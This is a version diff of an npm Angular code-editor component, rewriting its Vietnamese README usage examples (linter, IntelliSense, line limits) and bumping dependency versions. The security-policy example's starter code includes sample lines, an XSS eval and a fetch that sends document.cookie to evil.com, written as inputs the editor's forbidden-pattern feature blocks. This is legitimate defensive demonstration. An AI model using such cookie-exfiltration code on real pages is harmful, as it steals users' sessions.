@libs-ui/components-preview-text-data 0.2.357-7 → 0.2.357-9

package/README.md

@@ -62,264 +62,363 @@ import {
 
 ## Ví dụ sử dụng
 
-### 1. Chế độ xem (Read-only) — ẩn thanh công cụ
+### 1. Chế độ Xem (Read-only)
 
-```typescript
-// my-viewer.component.ts
-import { ChangeDetectionStrategy, Component } from '@angular/core';
-import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
+Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
 
-@Component({
-  selector: 'app-my-viewer',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="configCode"
-      [langSelected]="'json'"
-      [hiddenAction]="true"
-      background="#fcfcfc" />
-  `,
-})
-export class MyViewerComponent {
-  readonly configCode = `{
-  "projectName": "Libs UI",
-  "version": "2.0.0",
-  "features": ["Signals", "CodeMirror", "OnPush"]
-}`;
-}
+```html
+<libs_ui-components-preview_text_data
+  [content]="readonlyCode"
+  [langSelected]="'javascript'"
+  [hiddenAction]="true"
+  background="#fcfcfc" />
 ```
 
-### 2. Chế độ chỉnh sửa với Linter và đổi ngôn ngữ
-
 ```typescript
-// sql-editor.component.ts
-import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
-import {
-  LibsUiComponentsPreviewTextDataComponent,
-  IPreviewTextDataChange,
-  PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
-} from '@libs-ui/components-preview-text-data';
-import { Diagnostic } from '@codemirror/lint';
-
-@Component({
-  selector: 'app-sql-editor',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="sqlQuery"
-      [(langSelected)]="currentLang"
-      [editable]="true"
-      [langsAccept]="['sql', 'javascript', 'json']"
-      (outChange)="handlerChange($event)"
-      (syntaxErrors)="handlerSyntaxErrors($event)" />
-
-    @if (lintErrors().length) {
-      <div class="p-3 bg-red-50 text-red-600 text-xs font-mono mt-2 rounded">
-        Lỗi cú pháp: {{ lintErrors()[0].message }}
-      </div>
-    }
-  `,
-})
-export class SqlEditorComponent {
-  readonly currentLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('sql');
-  readonly lintErrors = signal<Diagnostic[]>([]);
-  readonly sqlQuery = `SELECT id, name, email
-FROM users
-WHERE status = 'active'
-ORDER BY created_at DESC
-LIMIT 50;`;
-
-  handlerChange(event: IPreviewTextDataChange): void {
-    event.stopPropagation?.();
-    console.log('Nội dung thay đổi:', event.content, '— ngôn ngữ:', event.language);
-  }
-
-  handlerSyntaxErrors(errors: Diagnostic[]): void {
-    this.lintErrors.set(errors);
-  }
-}
+readonly readonlyCode = `/* Standalone Code Preview */
+function checkStandards(component) {
+  return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
+}`;
 ```
 
-### 3. IntelliSense với dot-notation (giống IDE)
+---
 
-```typescript
-// js-intellisense.component.ts
-import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
-import {
-  LibsUiComponentsPreviewTextDataComponent,
-  IPreviewTextDataCompletionItem,
-  PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
-} from '@libs-ui/components-preview-text-data';
+### 2. Chế độ Chỉnh sửa & Linter
 
-@Component({
-  selector: 'app-js-intellisense',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="starterCode"
-      [(langSelected)]="lang"
-      [editable]="true"
-      [completions]="completions"
-      background="#fafbfc" />
-  `,
-})
-export class JsIntelliSenseComponent {
-  readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
 
-  readonly starterCode = `// Gõ "user." hoặc "config." để xem gợi ý
-function process() {
-  const name = user.
-  const url = config.
-}`;
+```html
+<div class="flex flex-col gap-4">
+  <libs_ui-components-preview_text_data
+    [content]="jsonContent"
+    [(langSelected)]="editableLang"
+    [editable]="true"
+    [langsAccept]="['json', 'javascript', 'sql']"
+    (syntaxErrors)="onSyntaxErrors($event)" />
 
-  readonly completions: IPreviewTextDataCompletionItem[] = [
-    {
-      label: 'user',
-      type: 'variable',
-      detail: 'object',
-      info: 'User object — thông tin người dùng hiện tại',
-      properties: [
-        { label: 'id',    type: 'property', detail: 'number', info: 'Unique user ID' },
-        { label: 'name',  type: 'property', detail: 'string', info: 'Họ và tên đầy đủ' },
-        { label: 'email', type: 'property', detail: 'string', info: 'Địa chỉ email' },
-        { label: 'role',  type: 'property', detail: "'admin' | 'user'", info: 'Vai trò trong hệ thống' },
-        { label: 'logout', type: 'method', detail: '() => Promise<void>', info: 'Đăng xuất tài khoản' },
-      ],
-    },
-    {
-      label: 'config',
-      type: 'variable',
-      detail: 'object',
-      info: 'Application configuration',
-      properties: [
-        { label: 'apiUrl',  type: 'property', detail: 'string', info: 'Base URL của API server' },
-        { label: 'timeout', type: 'property', detail: 'number', info: 'Request timeout (ms)' },
-        { label: 'debug',   type: 'property', detail: 'boolean', info: 'Bật debug logging' },
-      ],
-    },
-  ];
-}
+  @if (linterErrors().length) {
+    <div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
+      Error: {{ linterErrors()[0].message }}
+    </div>
+  }
+</div>
 ```
 
-### 4. Security policy — chặn pattern nguy hiểm
-
 ```typescript
-// secure-editor.component.ts
 import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
-import {
-  LibsUiComponentsPreviewTextDataComponent,
-  DEFAULT_SECURITY_PATTERNS,
-  IPreviewTextDataViolation,
-  PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
-} from '@libs-ui/components-preview-text-data';
+import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+import { Diagnostic } from '@codemirror/lint';
 
-@Component({
-  selector: 'app-secure-editor',
-  standalone: true,
-  changeDetection: ChangeDetectionStrategy.OnPush,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="starterCode"
-      [(langSelected)]="lang"
-      [editable]="true"
-      [forbiddenPatterns]="securityPatterns"
-      (outViolations)="handlerViolations($event)"
-      background="#fafbfc" />
-
-    @if (violations().length) {
-      <div class="p-3 bg-red-50 border border-red-200 rounded mt-2">
-        <p class="text-sm font-semibold text-red-700 mb-1">
-          Phát hiện {{ violations().length }} vi phạm bảo mật:
-        </p>
-        @for (v of violations(); track v.from) {
-          <p class="text-xs text-red-600 font-mono">
-            Dòng {{ v.line }}: "{{ v.matched }}" — vi phạm pattern {{ v.pattern }}
-          </p>
-        }
-      </div>
-    }
-  `,
-})
-export class SecureEditorComponent {
-  readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
-  readonly violations = signal<IPreviewTextDataViolation[]>([]);
-  readonly securityPatterns = DEFAULT_SECURITY_PATTERNS;
+// [content]="jsonContent" — nội dung JSON mẫu ban đầu
+readonly jsonContent = `{
+  "projectName": "Libs UI",
+  "version": "1.0.0",
+  "features": ["Signals", "CodeMirror", "Standalone"],
+  "isBmadCompliant": true
+}`;
 
-  readonly starterCode = `// Code thuần — không gọi API hay truy cập storage
-function calculateTotal(items) {
-  return items.reduce((sum, item) => sum + item.price * item.qty, 0);
-}
-// Thử gõ: eval("test") hoặc localStorage.getItem('key')
-// → sẽ bị highlight đỏ và chặn paste`;
+// [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
+readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
 
-  handlerViolations(violations: IPreviewTextDataViolation[]): void {
-    this.violations.set(violations);
-  }
+// linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
+readonly linterErrors = signal<Diagnostic[]>([]);
+
+// Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
+onSyntaxErrors(errors: Diagnostic[]): void {
+  this.linterErrors.set(errors);
 }
 ```
 
-### 5. Chỉ cho phép một ngôn ngữ cố định (không hiển thị dropdown)
+---
+
+### 3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
+
+Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
 
 ```html
-<!-- Khi langsAccept có đúng 1 phần tử trùng với langSelected → dropdown bị ẩn -->
 <libs_ui-components-preview_text_data
-  [content]="jsonData"
-  [(langSelected)]="lang"
+  [content]="''"
+  [(langSelected)]="codeInputLang"
   [editable]="true"
-  [langsAccept]="['json']" />
+  [langsAccept]="['javascript', 'python']"
+  [minLines]="10"
+  [maxLines]="20" />
 ```
 
-### 6. Màn nhập code (min/max số dòng + giới hạn ngôn ngữ)
-
 ```typescript
-// component.ts
-import { Component, signal } from '@angular/core';
-import { LibsUiComponentsPreviewTextDataComponent, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+import { signal } from '@angular/core';
+import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
 
-@Component({
-  selector: 'app-code-input',
-  standalone: true,
-  imports: [LibsUiComponentsPreviewTextDataComponent],
-  template: `
-    <libs_ui-components-preview_text_data
-      [content]="''"
-      [(langSelected)]="lang"
-      [editable]="true"
-      [langsAccept]="['javascript', 'python']"
-      [minLines]="10"
-      [maxLines]="20"
-      [zIndexPopover]="1500" />
-  `,
-})
-export class CodeInputComponent {
-  // Mặc định trống, chỉ cho JS/Python; editor hiện sẵn tối thiểu 10 dòng, vượt 20 dòng → xuất hiện scroll.
-  readonly lang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
-}
+// Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
+// minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
+readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
 ```
 
-### 7. Editor tự fit theo container (min/max-height)
+---
 
-Thay vì truyền `minLines`/`maxLines`, bọc editor trong 1 div có `min-height`/`max-height` rồi truyền chính element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
+### 4. Editor tự fit theo container (min/max-height)
+
+Bọc editor trong 1 div đặt `min-height`/`max-height`, truyền element đó qua `[containerElement]`. Editor tự tính số dòng và snap chiều cao theo container. **Không** dùng chung với `minLines`/`maxLines` (sẽ throw lỗi).
 
 ```html
-<!-- #boxRef là template reference tới div container -->
+<!-- #boxRef là template ref tới div container -->
 <div #boxRef class="min-h-[120px] max-h-[300px]">
   <libs_ui-components-preview_text_data
     [content]="''"
-    [(langSelected)]="lang"
+    [(langSelected)]="codeContainerLang"
     [editable]="true"
     [langsAccept]="['javascript', 'python']"
     [containerElement]="boxRef" />
 </div>
 ```
 
+```typescript
+import { signal } from '@angular/core';
+import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// Bọc editor trong div có min/max-height, truyền chính element đó vào.
+// Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
+readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+```
+
+---
+
+### 5. JavaScript — IntelliSense với Object có sẵn
+
+Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="jsStarterCode"
+  [(langSelected)]="jsAutocompleteLang"
+  [editable]="true"
+  [completions]="jsCompletions"
+  background="#fafbfc" />
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
+readonly jsStarterCode = `function printUserInfo() {
+  const userName = user.
+  const baseUrl = config.
+  return db.
+}`;
+
+// [(langSelected)]="jsAutocompleteLang"
+readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+
+// [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
+readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
+  {
+    label: 'user',
+    type: 'variable',
+    detail: 'object',
+    properties: [
+      { label: 'id',    type: 'property', detail: 'number' },
+      { label: 'name',  type: 'property', detail: 'string' },
+      { label: 'email', type: 'property', detail: 'string' },
+      { label: 'role',  type: 'property', detail: "'admin'|'user'" },
+      { label: 'logout', type: 'method', detail: '() => Promise<void>' },
+    ],
+  },
+  {
+    label: 'config',
+    type: 'variable',
+    detail: 'object',
+    properties: [
+      { label: 'apiUrl',  type: 'property', detail: 'string' },
+      { label: 'timeout', type: 'property', detail: 'number' },
+      { label: 'debug',   type: 'property', detail: 'boolean' },
+    ],
+  },
+  // ... object "db" tương tự (host, port, query(), connect(), transaction()...)
+];
+```
+
+---
+
+### 6. JavaScript — IntelliSense lồng nhiều cấp (nested)
+
+Gõ path nhiều cấp như `app.user.profile.address.` rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="jsDeepStarterCode"
+  [(langSelected)]="jsDeepAutocompleteLang"
+  [editable]="true"
+  [completions]="jsDeepCompletions"
+  background="#fafbfc" />
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
+readonly jsDeepStarterCode = `function buildUserCard() {
+  const ctx = app.
+  const avatar = app.user.profile.
+  const lat = app.user.profile.address.geo.
+  return app.services.auth.
+}`;
+
+// [(langSelected)]="jsDeepAutocompleteLang"
+readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+
+// [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
+// Gõ "app." → user, config, services
+// Gõ "app.user.profile.address." → city, country, geo
+readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
+  {
+    label: 'app',
+    type: 'variable',
+    detail: 'AppContext',
+    properties: [
+      {
+        label: 'user',
+        type: 'property',
+        detail: 'User',
+        properties: [
+          { label: 'id',   type: 'property', detail: 'number' },
+          { label: 'name', type: 'property', detail: 'string' },
+          {
+            label: 'profile',
+            type: 'property',
+            detail: 'Profile',
+            properties: [
+              { label: 'avatar', type: 'property', detail: 'string' },
+              { label: 'bio',    type: 'property', detail: 'string' },
+              {
+                label: 'address',
+                type: 'property',
+                detail: 'Address',
+                properties: [
+                  { label: 'city',    type: 'property', detail: 'string' },
+                  { label: 'country', type: 'property', detail: 'string' },
+                  {
+                    label: 'geo',
+                    type: 'property',
+                    detail: 'GeoPoint',
+                    properties: [
+                      { label: 'lat', type: 'property', detail: 'number' },
+                      { label: 'lng', type: 'property', detail: 'number' },
+                    ],
+                  },
+                ],
+              },
+            ],
+          },
+        ],
+      },
+      // ...config, services tương tự (mỗi cấp có 'properties' riêng)
+    ],
+  },
+];
+```
+
+---
+
+### 7. Python — IntelliSense với Class/Object
+
+Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="pyStarterCode"
+  [(langSelected)]="pyAutocompleteLang"
+  [editable]="true"
+  [completions]="pyCompletions"
+  background="#fafbfc" />
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
+readonly pyStarterCode = `def handle_request():
+    server = config.
+    data = request.
+    logger.
+    return server`;
+
+// [(langSelected)]="pyAutocompleteLang"
+readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
+
+// [completions]="pyCompletions"
+readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
+  {
+    label: 'config',
+    type: 'class',
+    detail: 'class Config',
+    properties: [
+      { label: 'host',   type: 'property', detail: 'str' },
+      { label: 'port',   type: 'property', detail: 'int' },
+      { label: 'debug',  type: 'property', detail: 'bool' },
+      { label: 'to_dict', type: 'method', detail: '() -> dict' },
+    ],
+  },
+  // ... object "request" tương tự (method, url, headers, json()...)
+  {
+    label: 'logger',
+    type: 'variable',
+    detail: 'Logger',
+    properties: [
+      { label: 'info',    type: 'method', detail: '(msg: str) -> None' },
+      { label: 'error',   type: 'method', detail: '(msg: str) -> None' },
+      { label: 'warning', type: 'method', detail: '(msg: str) -> None' },
+    ],
+  },
+];
+```
+
+---
+
+### 8. Security Policy — Forbidden Patterns
+
+Chặn người dùng gõ hoặc paste mã vi phạm bảo mật (`[forbiddenPatterns]`). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra `(outViolations)`.
+
+```html
+<libs_ui-components-preview_text_data
+  [content]="securityStarterCode"
+  [(langSelected)]="securityLang"
+  [editable]="true"
+  [forbiddenPatterns]="defaultSecurityPatterns"
+  (outViolations)="onSecurityViolations($event)"
+  background="#fafbfc" />
+```
+
+```typescript
+import { signal } from '@angular/core';
+import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
+
+// [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
+readonly securityStarterCode = `function calculateTotal(items) {
+  return items.reduce((sum, item) => sum + item.price * item.qty, 0);
+}
+// Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
+// eval("alert('xss')")
+// fetch('https://evil.com/steal?data=' + document.cookie)`;
+
+// [(langSelected)]="securityLang"
+readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
+
+// [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
+readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
+
+// (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
+readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
+
+onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
+  this.securityViolations.set(violations);
+}
+```
+
+> ⚠️ **Chỉ cho phép một ngôn ngữ cố định**: Khi `[langsAccept]` có đúng 1 phần tử trùng với `langSelected` → dropdown chọn ngôn ngữ tự động bị ẩn (computed `acceptChangeLang = false`).
+
 ## @Input()
 
 | Input | Type | Default | Mô tả | Ví dụ |
@@ -489,14 +588,6 @@ Các pattern được chặn:
 
 ⚠️ **Cleanup tự động**: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua `DestroyRef`). Không cần thao tác cleanup thủ công từ phía consumer.
 
-## Demo
-
-```bash
-npx nx serve core-ui
-```
-
-Truy cập: http://localhost:4500/preview-text-data
-
 ## Unit Tests
 
 ```bash

package/package.json

@@ -1,23 +1,23 @@
 {
   "name": "@libs-ui/components-preview-text-data",
-  "version": "0.2.357-7",
+  "version": "0.2.357-9",
   "peerDependencies": {
     "@angular/core": ">=18.0.0",
     "@babel/parser": ">=7.0.0",
     "globals": ">=13.0.0",
-    "@libs-ui/components-buttons-button": "0.2.357-7",
-    "@libs-ui/components-dropdown": "0.2.357-7",
-    "@libs-ui/services-notification": "0.2.357-7",
-    "@libs-ui/utils": "0.2.357-7",
+    "@libs-ui/components-buttons-button": "0.2.357-9",
+    "@libs-ui/components-dropdown": "0.2.357-9",
+    "@libs-ui/services-notification": "0.2.357-9",
+    "@libs-ui/utils": "0.2.357-9",
     "@codemirror/autocomplete": "6.20.2",
     "@codemirror/language": "6.12.3",
     "@codemirror/lint": "6.9.1",
     "@codemirror/state": "6.6.0",
     "@codemirror/view": "6.38.6",
     "@lezer/common": "1.5.2",
-    "@libs-ui/components-list": "0.2.357-7",
+    "@libs-ui/components-list": "0.2.357-9",
     "codemirror6": "npm:codemirror@6.0.2",
-    "@libs-ui/services-http-request": "0.2.357-7",
+    "@libs-ui/services-http-request": "0.2.357-9",
     "@codemirror/lang-javascript": "6.2.4",
     "@codemirror/lang-html": "6.4.11",
     "@codemirror/lang-css": "6.3.1",